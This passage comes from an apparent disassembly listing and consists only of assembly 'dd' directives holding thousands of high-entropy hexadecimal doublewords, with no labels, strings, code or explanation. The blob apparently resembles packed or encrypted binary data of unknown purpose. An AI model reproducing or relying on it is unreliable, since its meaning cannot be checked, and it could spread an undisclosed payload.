8009592Dh, 75574DE1h, 7F0FE45Ah, 0A19DB151h, 0C1FE54C9h dd 7D3B92D7h, 0D9313487h, 6F005977h, 0ED628FC9h, 451B8BDEh dd 2338E129h, 1273D7C2h, 7DC8E509h, 79B2BE9Bh, 0C4A602F6h dd 55AFFB26h, 3E58172Ah, 0ABA62814h, 9D82EA93h, 0A7034559h dd 6812EEC6h, 55CD51D4h, 0A2772BAFh, 7527256Fh, 1857DD1Ah dd 806D162Eh, 5F5AF901h, 0C3E6C0A8h, 4E078525h, 0BD55000Eh dd 65964AC5h, 3528E950h, 9E0960F8h, 0EE084376h, 80E92523h dd 459C35D0h, 543A6858h, 2FE96742h, 90FAC3EDh, 582478BCh dd 0C9028B0Fh, 0EAED88Ch, 0B14184BDh, 1092F853h, 0F6024ACEh dd 0CC680D6h, 0F187EDE0h, 5B799695h, 2F21C656h, 534FC8E6h dd 5C8D6B44h, 0B8CB8CEBh, 0EA9026F4h, 584CC2F2h, 0AE8850C2h dd 0ED596C40h, 0B84DA4D5h, 0B24840F9h, 0B52DFEC6h, 0BC82225h dd 0DCC1E09Ah, 5D32054h, 0A1F81CD6h, 2B3CC10h, 0E78F0F4Eh dd 0A5E7F624h, 29901A8h, 5650FB8Ah, 0BD8335F1h, 4A31321Dh dd 0FD1BA04h, 0B32B54C3h, 7F69053Dh, 15BD0A1Ah, 0DB898E69h dd 2937F6C8h, 0F769FD09h, 0AE2309D6h, 1183A41Ch, 0EC39DDEFh dd 96CBD7F5h, 0FB00775Bh, 15071E1Bh, 561B3AEDh, 13B1D832h dd 0F8544B2Ch, 0A62F7D50h, 0A5995B60h, 0BA099D5Bh, 56B62722h dd 7952E74h, 21D961EBh, 0A42EBB37h, 2E1EDD8Dh, 0C30DF98Ah dd 0B901EF8Bh, 5424125Bh, 5E422668h, 0B947C23Ah, 1737CE20h dd 0E12AF75Ah, 0FB98E7D5h, 1093FF3h, 0DFC791E9h, 2C50629Eh dd 0B9AAFD34h, 942CFB7Fh, 0FF5EA2E0h, 0FF08C832h, 83F68A0Fh dd 0D6A938E3h, 48262357h, 16CF00F9h, 0EA81143Dh, 0F72431A1h dd 3B366E6Ah, 0B534E5B7h, 80E4A40Dh, 1F7C7017h, 0F16F60C9h dd 0A6F97F89h, 4324FBD3h, 465F38C1h, 9EF1DFC2h, 0E65F4Bh dd 759C4220h, 913B766h, 3ABD03F4h, 0EA09E979h, 0DD4740EEh dd 0BF2EC0E8h, 45387BACh, 55FED8B0h, 0E96F180Bh, 0C06BC262h dd 817BB05Fh, 83FFC25Ah, 95665916h, 68D94FBFh, 73743AA9h dd 62EEC942h, 0F1B8FF31h, 799516DFh, 3D8F895Eh, 212276B2h dd 455EB8EBh, 0FD59DE82h, 8C225F37h, 75EA968Bh, 828A8E60h dd 3893640h, 0EAC05ECAh, 0C3B4FE02h, 4701DE44h, 1BAD6855h dd 18F073DCh, 0AD519D46h, 4F9942h, 3E685F54h, 5E950570h dd 0E7F6D2BFh, 0C213D840h, 0BEE9165Fh, 0D82DFE2Ah, 9A784C20h dd 325B79ADh, 4F145808h, 0BE0026E6h, 8140544Ah, 2D1BFBCAh dd 78D67E5Dh, 5027324h, 0AA61E9h, 0B9649CBAh, 0A59DC9F1h dd 4B06F00Bh, 0E199407Eh, 1B73484Ah, 4A870F2Dh, 8FD961D8h dd 0E9001FE9h, 0DBBD2A9Bh, 2AE34DD7h, 363064A1h, 1C34E679h dd 7E0DB83Ch, 10BE322Eh, 105F4870h, 0A14A1FB5h, 0C30B8972h dd 7F0609EDh, 7F0E136Dh, 2CC01139h, 5AE7B640h, 7C973AB8h dd 0F07D5237h, 0FB010962h, 2629BDE9h, 93BCC956h, 22FF4194h dd 217D8911h, 27F968C8h, 1059D5C2h, 492B0ECBh, 8CCCD402h dd 0BDC2EF4Fh, 17151F01h, 3E5C153h, 92393E20h, 0C795B5A3h dd 5A02672Ch, 5F4EE26Dh, 1021A02Fh, 7F1A5972h, 35FA5705h dd 878271BAh, 0B62D6A14h, 0E8FCB06Fh, 0D7B3A64Eh, 4F1B681Ch dd 0D2CF6BBEh, 0E007F856h, 270E1168h, 0C7554C3Ah, 0C8E90579h dd 72897FBh, 0D55684E8h, 0A009AA56h, 7F535502h, 2BD0E91Ah dd 0F880FD9Ah, 0B0DD425h, 7BD589Fh, 46ED2935h, 42C54AB6h dd 6C506DE9h, 3DF2544Bh, 2F74D980h, 0D1480149h, 0D40841A8h dd 27C959B2h, 60DB02EEh, 0D70C606Bh, 297EB72Bh, 0CBBD65Ah dd 80C51A40h, 0D16FD52Dh, 0CE8C060Dh, 5C97103Dh, 7460722Bh dd 24CB8EDBh, 1BE3D52Dh, 25F0EAADh, 24186231h, 5957C84Ah dd 0A0C56FC5h, 0ADA5FA4Dh, 0BD5B6F60h, 7845F420h, 0C9774A9h dd 3D1D1217h, 4CDC316Ah, 0B5481327h, 32FCF381h, 2984E418h dd 0BC85E92Ch, 385518A5h, 0FC2DDCDEh, 554BE21Bh, 0BA4290F4h dd 94075628h, 7D07AA58h, 67174619h, 0F33431F1h, 0BEF53A06h dd 4C4E14CFh, 432EF019h, 8D3D133Dh, 65EF2FE9h, 80B2EFB8h dd 5B49E9C2h, 85D16D75h, 0A48D44E9h, 731845FBh, 260C3E10h dd 76750132h, 0DA60FB05h, 8B16E3Bh, 0D8EA0705h, 0AB2FE99Eh dd 0A3EA4829h, 5CB52713h, 0AF85CC04h, 8CFE2912h, 96FAEF35h dd 0B1354B60h, 0ECA88CDh, 9C28059h, 5055817Dh, 3A303EB0h dd 2C0142ABh, 90DF5993h, 0CF34CD4Eh, 0A047F6BFh, 0F301A179h dd 0F9E47F5Eh, 0F920129Ah, 73CDBF2Ch, 8EF0296Bh, 0EA0CEA9Eh dd 4F05804Ah, 0D600CC2Dh, 9A0315CDh, 37454D2Eh, 0DC80ED3Ah dd 0EE89C120h, 0ABBA59E9h, 97CF293Bh, 0A3A7CA1Eh, 358E2E7Bh dd 7D4982D5h, 6557317Eh, 2CE63C12h, 4AD303FFh, 9AF1E756h dd 17DED4A5h, 499C5A17h, 6E221718h, 0C730061Ch, 0BA0F36EAh dd 0F373019Ah, 0E205E2B8h, 0BBB819AEh, 48904401h, 0C82771Dh dd 0B4A82C7Ch, 4947D649h, 43632BD8h, 3DA5F1C5h, 0D270313Ah dd 0ABBD2F55h, 0CB2FDF48h, 49A8C3D3h, 0A45C80Dh, 0F02EC30Bh dd 204A474Bh, 0B47CEAAh, 45365DE9h, 0CE470BE8h, 79F44F1h dd 1787B03h, 82FC17EEh, 0AB3024A7h, 9B8C7AECh, 14983D46h dd 519FB77Bh, 979B53Dh, 9FC2F14Ah, 82819099h, 7C1AD368h dd 0E8E9D533h, 5E0A5004h, 0ABB7E568h, 39E5F47Ch, 0B7A7A84Bh dd 0D979F263h, 0B42B62DCh, 853DC2DEh, 31468B54h, 53095DD0h dd 0BE70FCF6h, 327F16F7h, 0F28FC1A0h, 67AA04C3h, 8F89C9FFh dd 4B3F5251h, 0D9418CF9h, 0BDC9A6Ah, 0B02D2CE9h, 0C6796BBh dd 923531BAh, 2727E90Bh dd 1BE7C840h, 0DE5D820Bh, 0E3E3307Fh, 0E0622D7Dh, 0DFEF8B18h dd 178F80AEh, 13957BEh, 34CFB947h, 3FF1601Bh, 2346F1D2h dd 4B32A8FAh, 3C99AF5Ah, 1706AE2Ah, 4F6F2BE9h, 5AEAC35Bh dd 66E830A8h, 710F76BFh, 0E902D883h, 0D453C027h, 0D444726Eh dd 0C451F2Ch, 0F00BFB40h, 9243507Fh, 0EB02B201h, 0F91633C0h dd 2F77CBD8h, 0B540D738h, 0B73ED664h, 6BEF0056h, 0E91E2450h dd 970770DCh, 66C598F6h, 1DAD1DAAh, 0C2688755h, 0C05DA779h dd 3EE9EB31h, 0CA3C3A9Ch, 68E342EFh, 99DC582Bh, 0E922306Bh dd 2C655AFDh, 567F51A6h, 2B822126h, 0E37BEF8Ah, 2ACAA243h dd 97D61917h, 1D7E18F5h, 7324B5EAh, 37588007h, 6C4F6FCBh dd 3F9B210h, 324D0FDEh, 0E18FB7D1h, 9A17DD0h, 7CE99841h dd 0CFBFBA50h, 0ED8D2DD2h, 7F4997FCh, 8E2E3E5Bh, 7C696800h dd 0B058541Bh, 0E60D005Ch, 0F202B53h, 34B2E486h, 39213509h dd 6D3B8227h, 9BB900CCh, 1859FD68h, 80502D3Dh, 0AD5FB8EBh dd 0BFE8D295h, 5F55CE4Bh, 5157F6CAh, 16F1707Fh, 0BD98EEBDh dd 210B9FF4h, 0A516D1B0h, 0C3E44ED5h, 1386E95Bh, 91BB2A01h dd 4351CE23h, 6FD5416Ah, 20AE31DCh, 613D822h, 0B4BD150Fh dd 9D5B0840h, 6F894965h, 7F1909F8h, 6BE2B951h, 0C176F637h dd 89EC11E9h, 0C5613436h, 70B201E9h, 2EEBF280h, 81CE29E4h dd 76F0905Ah, 0FCE2E441h, 0C857A5E2h, 0C0AE083Eh, 240BA20h dd 29144275h, 10965AD6h, 0DB496EB2h, 0B57CBC4Ah, 0BF7817EAh dd 0F87ABBCDh, 0E7571A15h, 261C90B4h, 64FD304h, 794D7151h dd 0BD33B600h, 0BFBE5673h, 7CA60A0Eh, 3996F201h, 3BF3DDC1h dd 2E9931FAh, 263EA6BEh, 56C06012h, 130A7BFh, 0E781218Ah dd 406D1CC1h, 6B93F7EDh, 0D07A1725h, 3A3504ADh, 0BE85A37Fh dd 0F09861B8h, 11B75423h, 0DDE55C7Ch, 0FAB54AF3h, 0B6FFD235h dd 8A3898DEh, 0B35C95CCh, 30E0574Fh, 9E5D9F5Bh, 39522FD9h dd 3AF1D2D2h, 0A2ED8E43h, 5FB49AC1h, 1205E3C3h, 980519Ch dd 39CE1BAh, 1E3F5B08h, 473B85B6h, 71BBEB01h, 7D1EF6C6h dd 62F72514h, 0DA8A4212h, 2588995Fh, 0B1063E7Fh, 8144698Bh dd 814A42B2h, 0E788F413h, 0BC979A52h, 2119C4DFh, 20A5E63Eh dd 9184E6D5h, 0B32F1DFAh, 141D801Eh, 0C35FF328h, 0F6C68C5h dd 0EC452A8h, 0DB9BC166h, 9F0E067Fh, 5BFA58FAh, 34EFC1FAh dd 8129977h, 37A1585Fh, 1E340AF5h, 797A9031h, 4CE62046h dd 33054B5h, 36840449h, 2A41C3E9h, 5580F2F3h, 0EE1710BDh dd 83812C5Ah, 0A32883E9h, 6C2CAE5Fh, 50BE8901h, 84EF8091h dd 6485E295h, 3CD2951Dh, 7C04F8B0h, 54B0813h, 6F1644A2h dd 4190AF1Eh, 2C9BB041h, 260129F1h, 8B402D64h, 8180567Dh dd 0B7AC09EBh, 85686671h, 683B5FEFh, 71315EC3h, 5C0272BBh dd 0DEA5E2D9h, 104CC018h, 0E91825FAh, 0B8C4FFC9h, 0F75C01C4h dd 1D363530h, 97E16F39h, 0C23D813Eh, 3B62F15Dh, 0D3C2F31Ch dd 5578B668h, 1951D518h, 0BC62F086h, 45E2F90h, 57ACA94Bh dd 0E916D3F8h, 0F9FDFEC5h, 183D6B84h, 2C6C0C76h, 0B2B60D2h dd 62A1A2F1h, 7F461968h, 73820830h, 2D90984Fh, 2E932F91h dd 84CF81D0h, 6FC76613h, 3544FF1Ch, 0EAF3490h, 9B24BD6h dd 6478CD30h, 50665A13h, 7041CAABh, 0CBF48054h, 12277E90h dd 0C89DFC17h, 0BA013ABEh, 9E915E8h, 1E93949h, 3F4B2D51h dd 0CB31CE01h, 55590802h, 66B75DEEh, 382500EEh, 0EA813E3Ah dd 922F703Bh, 0A220D92Ch, 19F620F6h, 6409FEBDh, 2B71B176h dd 888A70AFh, 579557E6h, 0A08AE838h, 2F8CFF71h, 5F03B7E9h dd 0DF97CE88h, 0EDC3F3E0h, 0F9760FBh, 6832E920h, 828E465Bh dd 0F2A6A3F5h, 0C0ADD95Eh, 0B4D0EC7Eh, 686602AEh, 47757081h dd 24B6A424h, 266D4AFAh, 0C65527C7h, 0EB60492Dh, 2884092Ch dd 20E105B6h, 0EA296CB5h, 65EFAE3h, 5C43EB3Ch, 0E34DDEEAh dd 0FDC22DA9h, 78DF9312h, 0F866959Fh, 0F40B0498h, 5E14326Ah dd 0D68743B0h, 52FADAB3h, 5D669A75h, 5F7AF080h, 0F6EC2AB6h dd 0E8CA6D0Ah, 99A78B3Eh, 0A42AFE82h, 91D296BBh, 0E2528609h dd 0DF8FDF91h, 0E62376C6h, 0C308ECB7h, 175D686Fh, 0F3A3BF84h dd 0EFFB5293h, 32D3869h, 91B0E817h, 2B724BD2h, 9DB190CCh dd 50201B08h, 6817F1F7h, 36B53596h, 81F40828h, 2F59499h dd 23D76059h, 8F639E35h, 184B3CAAh, 2C319200h, 0CC14AE4h dd 0F12DE039h, 0B85D7830h, 9A9E900Bh, 8B0F094Eh, 0C55580D1h dd 0F229622Fh, 0C073825Dh, 9018FF53h, 5981309Eh, 84417280h dd 6F09C1C8h, 0A03BFF9Ch, 0B9E8A0E2h, 32C52510h, 882A6F2h dd 0CC3A16FFh, 0D09E4B5Ah, 0C0E1C8EDh, 7A3060E5h, 2A937C54h dd 32A6181Eh, 5D2F6D8Bh, 0AF27AFC6h, 577B92F6h, 0EB6FEEFCh dd 46B226CBh, 0BC010F88h, 0A384DAAFh, 1420BF2Ah, 1F836ECFh dd 0BF505B35h, 60E30A8h, 26243C6h, 0EE04F864h, 0EFB6BEEAh dd 400B9AAh, 0E6FF6A4h, 0C10CD0ECh, 2C2A08E6h, 0AB4CF972h dd 69F15ED8h, 8C3CEA3Bh, 24314FB7h, 1BBDBA2Fh, 5D276809h dd 5FD5B3B0h, 72B880h, 2D4C3020h, 1F2E2BBDh, 0D4034076h dd 5275377h, 0CD8290A6h, 5E0B9F31h, 744B8355h, 0B6AF843Ch dd 42F611D3h, 0BDE951C2h, 0D1021074h, 778C2CE5h, 8CA498F3h dd 0D790010Bh, 0FCD4FF1Bh, 0FFAC5E32h, 0E522FCD3h, 0DEEC0082h dd 10F06841h, 0C8423839h, 5F4D054Ch, 0C5EF2340h, 4A6EAC3Fh dd 3E0A99AEh, 0E909C6DBh, 0D87906A5h, 2D3E3508h, 8C0FBBC4h dd 0EA274D5Ah, 301090E7h, 24F4892Dh, 1A92035Bh, 0F1DBD6Bh dd 722C76E9h, 80203960h, 0D8F70D85h, 958FE940h, 2E548661h dd 0C8C29899h, 0B8EB287Ch, 1BA060F8h, 0E9545159h, 73A1975Eh dd 214BBF29h, 52DC9E9h, 0EED0D0ABh, 6093318h, 0D9F53154h dd 49FE26B6h, 493FFB5Dh, 1CF721ABh, 5EF024C0h, 0C0601284h dd 25C66878h, 4EF828E2h, 0CF5F22F8h, 6A5CE4A4h, 90E0CEEh dd 45F7C588h, 0BED0BE52h, 47DA4103h, 90B78544h, 8F08B5CBh dd 0D8295007h, 74492F68h, 0F5116316h, 0F7BE6D2Dh, 3E7A13A3h dd 8ABCE360h, 9852416Eh, 7F2512Ch, 137C1A70h, 0AA1B304Eh dd 3F080D50h, 66A14AE9h, 25C1F76Eh, 0F4144C17h, 0A3635ACCh dd 8EB64F3Eh, 60145F27h, 800DE927h, 33D7B870h, 31112755h dd 0ED0780DFh, 1A29F462h, 605E3C1h, 0F9EBE700h, 480720AEh dd 0F75BD909h, 173F43Bh, 2A7C451Ah, 7F43AD89h, 437D4010h dd 0B683A297h, 506A09CEh, 3C14C409h, 0F8F180B7h, 0ED36FE33h dd 0F5EEA154h, 0BDD0A42h, 0E456AAE9h, 6BB99061h, 0C9DCDD93h dd 0F644646Fh, 55511781h, 0D6E175DCh, 15C3B80Eh, 0D445A334h dd 0DABF27E6h, 9DD9D06h, 0AD4065DAh, 944ABAFAh, 0C5823A61h dd 6FD3F701h, 0DF333482h, 0EDCB498Eh, 0E90CC0FFh, 13D59CE7h dd 0B4BEE889h, 0D0AEF385h, 0E9DE29A9h, 0AC804A4Bh, 0F022CD80h dd 0A7859712h, 0E2DBEB5Bh, 0B65B1952h, 45A214C0h, 3FCC84D1h dd 28A143B8h, 0EF835533h, 0F9AC7294h, 0D040FEF4h, 0E74433C3h dd 0D83127E3h, 57028273h, 0F5297D68h, 5597491Eh, 1C40E314h dd 2762BCCDh, 0B58696FDh, 2F0239B6h, 0E96E756Dh, 85F2D084h dd 7553ADB3h, 65BB85CCh, 57212F01h, 0C358B46Ch, 5BC1CA40h dd 6FB182E0h, 2D07E3D8h, 2FC40B6Bh, 0B86482B1h, 0C09CE32Eh dd 0B91BF1BBh, 7EE91277h, 4B2A30Bh, 0C4D2F8D4h, 11281CC0h dd 0B81A4BF2h, 51EC10A6h dd 4E77EF4Fh, 8DA841E5h, 0CC32813h, 0E20627E8h, 18926815h dd 4AA412F1h, 0DE2C0223h, 0C15A070Dh, 4F8303E1h, 80C787F3h dd 50860E27h, 0AE800098h, 57040DE4h, 9EDCE90Ah, 2EE329AEh dd 3E004D65h, 43633456h, 8D0F1349h, 0AF42C46Dh, 5CCE93BDh dd 0A2C6258h, 0F86D1830h, 138DB867h, 8566E913h, 74D8FADCh dd 31525B1Ah, 9378D22Ah, 0D16EBFFh, 915022EFh, 5F0BC4DEh dd 0F90F095Bh, 1E5388FDh, 0D7C5625h, 7F6CDDABh, 7E041FB2h dd 0E42C13A5h, 12BDDDA6h, 0A304F707h, 2C20AB07h, 5AA35C83h dd 7261036h, 0FB1C8B12h, 29C54EA7h, 9604F9EBh, 5AE98BF0h dd 21C907F8h, 0A58E75C8h, 48247CDDh, 13AA4FA3h, 4B33F40Ah dd 34CA7710h, 0C523A9Fh, 4F5DE85Fh, 12D06AAh, 8B7D1E74h dd 4147D3B5h, 871510E9h, 50E58888h, 465BE837h, 20A490F3h dd 0E7811409h, 5841A538h, 307BB2A0h, 0BD1448ECh, 9C253E44h dd 312F5635h, 5298B81Fh, 795FEEA7h, 5174029Dh, 0A37C4F8Ch dd 5A3A4309h, 5CC0CB4h, 0BA326F5Fh, 22B03909h, 1DEC229h dd 0F99CE908h, 4BC35981h, 40AC5F35h, 107429D1h, 76B9694Bh dd 0CB2F0841h, 339A10ACh, 850CE916h, 1782AF16h, 40D8D152h dd 0F9255468h, 0B1495D5Ah, 0BF07D851h, 0F8246E7h, 0DA2F5580h dd 69853D4Dh, 8F120C3Eh, 0BF68C494h, 5494E3F3h, 1F273909h dd 57FA7C85h, 0D8D8FEC1h, 0D742973Eh, 0AC24F7Dh, 40E0D428h dd 36DD2F43h, 0A9D78924h, 0E9F33D12h, 0FB67929Fh, 4D94C1A2h dd 9D3F7E01h, 0BEE3E962h, 0C2277635h, 0E8252018h, 0D01DF79h dd 0D2F7D587h, 0DFB07F08h, 0A84DE668h, 0B7AC4BBAh, 828A75D1h dd 1388CC36h, 22FB976Ah, 70DFC333h, 0B752B0CDh, 5D04D9D6h dd 0DDD492E9h, 0E78EE2FFh, 41EF7D3h, 0F168E1EDh, 0F56A365h dd 828341CDh, 0FC4ED6F7h, 0BF578087h, 6F59089Fh, 0FC7B5A97h dd 0E02F12AEh, 0B91B87Fh, 7866FF05h, 0ED5F5AF5h, 0D29B3A9Dh dd 2E1806D3h, 90C0657h, 0BF4A598Ch, 0AF6398ABh, 2F803FE7h dd 0F1216DA0h, 0C1616B9Eh, 2C3A0BE9h, 445414BFh, 5C26E961h dd 0EB8BAF03h, 0E097161Fh, 0D7665CC3h, 9125A058h, 802D1A85h dd 0D10AD025h, 0F0DE03Eh, 8059A011h, 0A783EEC8h, 0A4C26029h dd 0CF1465EAh, 0DAD14850h, 68F8FE61h, 69E54D7Fh, 0B86133Fh dd 7BD4C3A2h, 31A19088h, 80F5ED16h, 0B9530534h, 49E9F37Dh dd 5C176606h, 659A8B8Fh, 0E18DBAC4h, 4881A72Bh, 727D1255h dd 7BEFF6EEh, 26C02B5Eh, 49BE0F66h, 0E9C4EFC8h, 0EEF8A4D1h dd 330DCC0Ah, 0DC25C41Ah, 43EA4ABh, 0AAB748E9h, 644C3AE2h dd 871F1814h, 951AD5Ah, 79B46DE9h, 2442AC15h, 7C9E02CCh dd 0C1DA5DCCh, 772729F8h, 0A2E6E80Ah, 69503D27h, 81E674A5h dd 28420C83h, 8F5E121Ch, 2D01E8B1h, 0F63B1801h, 591210EDh dd 0CC192C1Dh, 570E4E79h, 20FC564Ch, 0CB9864h, 0BFD2B27h dd 90C7890Fh, 963971BDh, 4F85F0CEh, 53FE8707h, 59369D68h dd 2D422560h, 66AD3ADBh, 48262D0Ch, 1CC4EAD9h, 0F97F99A1h dd 888B268Dh, 75E57FA5h, 0DD311A9Ah, 0D9D78C09h, 65B548BEh dd 12E00025h, 29742BBFh, 0ABC2225Fh, 0FF99709Eh, 40538D6Ah dd 100FDBEBh, 81E14F5Eh, 3763FD00h, 27597C6Ch, 1A80D687h dd 51FCE94Eh, 8BEBD995h, 8348DFFEh, 0DB832A8Ah, 0BFCD5B3Ch dd 6B017653h, 76CA3DE1h, 162D5330h, 791B40h, 2E8238C9h dd 0CB0901F0h, 0F488AAE9h, 8CF4A65h, 0FD2530E7h, 0E204581Ah dd 5E90F8ADh, 1C5BACD8h, 257CF068h, 5DFE577h, 1555DEBh dd 0A04E7194h, 91F08047h, 0E90C6D20h, 4E259A04h, 5997BE5Eh dd 2BC51567h, 0B3984A80h, 0CEC6067h, 3E9C61C2h, 0FEFE012Dh dd 0D0C249CCh, 0A997B9DDh, 0A8B6C46Bh, 25AC5EACh, 5BD806B2h dd 5E4B4B76h, 0CEB1E1B8h, 7EE22B59h, 4C21AE4Fh, 222ED8B9h dd 52725A13h, 98D2A951h, 0C192D976h, 343718D2h, 0F63E0C06h dd 0C25FBB25h, 0C0F45776h, 683C3802h, 5B07562h, 4EBF4EF4h dd 86682C6Ah, 946CE59Ah, 20E0F1A8h, 5B80151Ah, 1FB57951h dd 1666CD80h, 5D1B80ACh, 5BF85356h, 87D3F712h, 270017ACh dd 0E90BCB6Dh, 0C0CBFA1Bh, 0FEF1F233h, 30761626h, 0B91AFBC3h dd 2229F7C8h, 0C7D11940h, 0FF74695h, 16266AEDh, 0C82BD7A5h dd 917D946h, 91006D4Fh, 7D392DB9h, 0E71367E9h, 5A11B380h dd 3585E0C9h, 2A28DDCBh, 0C3E17AD9h, 0B1A0D67Ch, 3D25E90Fh dd 0FF34222Ch, 2C1C5E91h, 58360E41h, 0E2E915C2h, 0BE0B9158h dd 3A4E2Ch, 2D0CF6DBh, 31644877h, 0BCC0EE4Ah, 0B507CAE9h dd 9095CD44h, 91F57642h, 0D410DC1h, 0BFE87EFBh, 3F63888Bh dd 6854C9A0h, 0CB0A8A0Fh, 9546A464h, 1542B68Dh, 961E453h dd 1716607Fh, 7B02E671h, 0F5ED1D66h, 18D7CB8Bh, 840C8ABEh dd 82B63AFEh, 28D5B500h, 0B75966EAh, 0CBDBA460h, 0E32B5E81h dd 7E2D7CAFh, 5BAC7418h, 0E9F808EAh, 28BA335Ah, 0D76F3E35h dd 5EF003FCh, 0BC29C29h, 1D2FD65Bh, 95CD8955h, 445F1455h dd 34C7114h, 325ACC67h, 2E99414Ah, 0ACFCDE4h, 57E254B8h dd 728704C8h, 4CA3B0B5h, 6D0C7B71h, 0C1E321E9h, 0AA02EEE6h dd 41D50BC9h, 73D127B2h, 8770CA5h, 0D33FA933h, 3E571681h dd 0FB538BF6h, 2A55BC4Fh, 0A6A110E6h, 0BD856E48h, 66A4020Bh dd 0FB681236h, 0FECB350Fh, 7D4801B3h, 776AC305h, 6F82EA67h dd 7C8B5D82h, 9E23257h, 8C7E00C6h, 2746250Ah, 0C477E7D1h dd 26FD95CAh, 0FA25845Bh, 0F75F4EFDh, 5F3C3AD7h, 7EA63FBDh dd 486C80B5h, 1F602025h, 1740525Dh, 81F8C04Ch, 263FDACAh dd 0F2007682h, 1A591075h, 0BD2B33E9h, 55438EC8h, 4B273EB2h dd 6E50D9B5h, 0C675E4CBh, 0DB15287Bh, 6AFAB5D4h, 47C525F2h dd 37FCD528h, 5F92E83Dh, 0FD334EF1h, 0BBC4A2E5h, 0FDD7C68Ah dd 42AB882Ch, 0C96AD5E4h, 2820D65Dh, 168000D7h, 47E92272h dd 6E95FEE7h, 4E5FB06Dh, 881189A4h, 27C26F12h, 0E5020C56h dd 7F952A5Eh, 95B0960h, 0C365030h, 60D12319h, 3FB46816h dd 4E906C97h, 0A00F2E98h, 0C163271Eh, 52861E1h, 117E92Eh dd 6A933194h, 4F61C141h, 979911C8h, 8287BB59h, 0CFE4C3FEh dd 0D14788EEh, 1AD0284Fh, 48836D0Ah, 17386048h, 4B8AFA4Eh dd 0E70EA4Ah, 0C95AE1E9h, 32FF2168h, 0CD227FA5h, 1C11919Dh dd 80FBDB30h, 584EC388h, 0C503C3ABh, 895A5BB1h, 2EC28F4h dd 7C16DE95h, 0D82F9C5Bh, 30B0920Ah, 2918A912h, 0DE312EF5h dd 4B688120h, 3B1F2923h, 0EEF61CC1h, 0ECACBF04h, 0DE1A0F96h dd 0F8E49DC4h, 69C2B4DAh, 0DD9668CDh, 6F88340Fh, 1339C01Dh dd 34A86E9h, 738F74C8h, 5EA2F647h, 290A93B5h, 56970CE6h dd 0C83528Fh, 7D48BDD0h, 0A73E1DC7h, 35C5D7E7h, 8FBB5B92h dd 0B445A96h, 5700D4DDh, 0AB5B6968h, 0BB5F1F0Dh, 0F22F0D6Dh dd 0CEE93E12h, 0D9E09912h, 4E3A125Ah, 24F6BE53h, 938C463h dd 3BB96602h, 400F0151h, 0E3A2139h, 0C1496F32h, 25D05EFh dd 64413F50h, 444E7FE4h, 0E62F38E1h, 50BC96C5h, 1C290B97h dd 514A86D0h, 9400B3B6h, 0C1745D62h, 119D03E0h, 126FBC00h dd 5087605Ch, 0B341468h, 0A0AFBEBFh, 5ECB55A5h, 0E319A036h dd 2F870FF8h, 0D0790BDFh, 3A521892h, 0AAB598BCh, 7039C402h dd 0B9F3DF7Dh, 6EDC186h, 180B09EAh, 0E800481Dh, 95B273ECh dd 0EAFD60B5h, 0EC2FE11Ah, 1246B107h, 4013CE6Ah, 5971BED0h dd 7B902379h, 8CB8103h dd 0B067BC22h, 40B39F3h, 0E99366B8h, 0EE74B4BBh, 84353106h dd 90E4674h, 4CDD1B8Ch, 2C102FF6h, 64E0680Bh, 7A41437Ah dd 0BF1A45FCh, 0A7C9915Ch, 0C3445358h, 0E9A6F4ABh, 71427A32h dd 0ED565DC2h, 521F1A2Ch, 0F515E889h, 0DE40AB3Ah, 5B818891h dd 0ED681D3Fh, 4C774442h, 0D06E9D90h, 0D9B05D7Fh, 0D99263EAh dd 81565A49h, 0FA87D7F7h, 58C9A4CBh, 951A9664h, 76BFC2F8h dd 2BF953BBh, 20BD6EF5h, 8903EB1Eh, 0DFF694C0h, 0A513DA60h dd 49E0FAFCh, 0E940582Fh, 0CC629D0Eh, 3EC0F3FFh, 92FD9FA4h dd 876E9758h, 0E4647476h, 523EDA97h, 8608D05Fh, 6E922508h dd 2638B401h, 1C85100Ch, 5D2B2C20h, 0BB209A5Eh, 5445DB02h dd 62EE0142h, 4A1CD8EDh, 9178EF53h, 9C6BE90Ch, 1D25E97Fh dd 0E2565930h, 2C03FD14h, 77D99267h, 68A5787Ch, 824AB471h dd 2F674D7Fh, 0E1A9B4DFh, 1910CB62h, 0C6800BD2h, 8525601h dd 0BF01D1A5h, 44066D6Ch, 24047770h, 3A19877Fh, 887E094Eh dd 3000457Dh, 0D8E9C9CCh, 0DD1184Ah, 0F07FD5B4h, 0B94AB383h dd 41CFD1E0h, 9EA17EF1h, 0D7255FE2h, 0FAE1AA05h, 4E48CF22h dd 5B8F2F10h, 0EF4F34B8h, 5AC78C56h, 0DE6F2282h, 0CD2DB91Fh dd 0B6042114h, 11ED809Eh, 76E1B484h, 18CAD7Eh, 2D774D79h dd 3560D2F7h, 0E5EDBF28h, 0DBE90DB0h, 0E5F9BFC6h, 8770CFEDh dd 2BDD9D5Dh, 53B00E3Bh, 8BF91A1h, 47E02A2h, 573EF5B8h dd 0D321823Dh, 56E849E9h, 85F9E971h, 2613DE3Dh, 4B829BAh dd 0E729FFECh, 48D6DE02h, 0E45B661Ch, 709F2568h, 0D580DA72h dd 0E45CC06Bh, 16C6187Bh, 25685670h, 9EDE794Fh, 1B14572h dd 783C2ABBh, 398C7E12h, 1381F853h, 0EA45F358h, 0B23F77B5h dd 39AEC4BCh, 18B05F0Ah, 6853E0D3h, 0D903F709h, 3FAE8432h dd 1057A912h, 0BA000B17h, 2FF930E8h, 6E390405h, 8D01F54Fh dd 112A310h, 7422DD0h, 6FFB8055h, 980CC54Bh, 1EEF0EB8h dd 0CAC0615Eh, 549D4CEDh, 2348FBDh, 5071220Ch, 0DD0802C4h dd 0D589E53Eh, 5D2707D2h, 0C228DE3Dh, 6FEC3883h, 0B06AAB25h dd 0A01058C8h, 0D7D0567Ah, 2289FBE8h, 0A34BBD7Ah, 0B74CFED6h dd 78E225F6h, 806C5EF7h, 23CC3A7Dh, 812E4B8h, 0C2F00A37h dd 6DEA0681h, 0FA1AC650h, 56078D09h, 5F28D775h, 21C3408h dd 2942E914h, 4120C5E4h, 0F7013E6Eh, 0BEE4689Ah, 87B9395Ch dd 7EA06660h, 71EEEB60h, 0FC314ABFh, 9B049EE8h, 0DDFB6F72h dd 5F283093h, 54E13A02h, 57308C0Fh, 5B5F5642h, 3C3D0ED0h dd 56C8A210h, 1C22748h, 584AFE55h, 0F1B55FFEh, 0F855E940h dd 14FC5B36h, 0DD108EE4h, 3F20492Eh, 0A7979A0Ah, 611EC2FBh dd 0AEF82711h, 0D5F72553h, 2902EB70h, 8EE96F08h, 9A54DC22h dd 0D977CDD9h, 32E961C2h, 7377C226h, 455FA5F7h, 0A1B41297h dd 2BB73E2Dh, 8377FED3h, 48650306h, 2895DEAh, 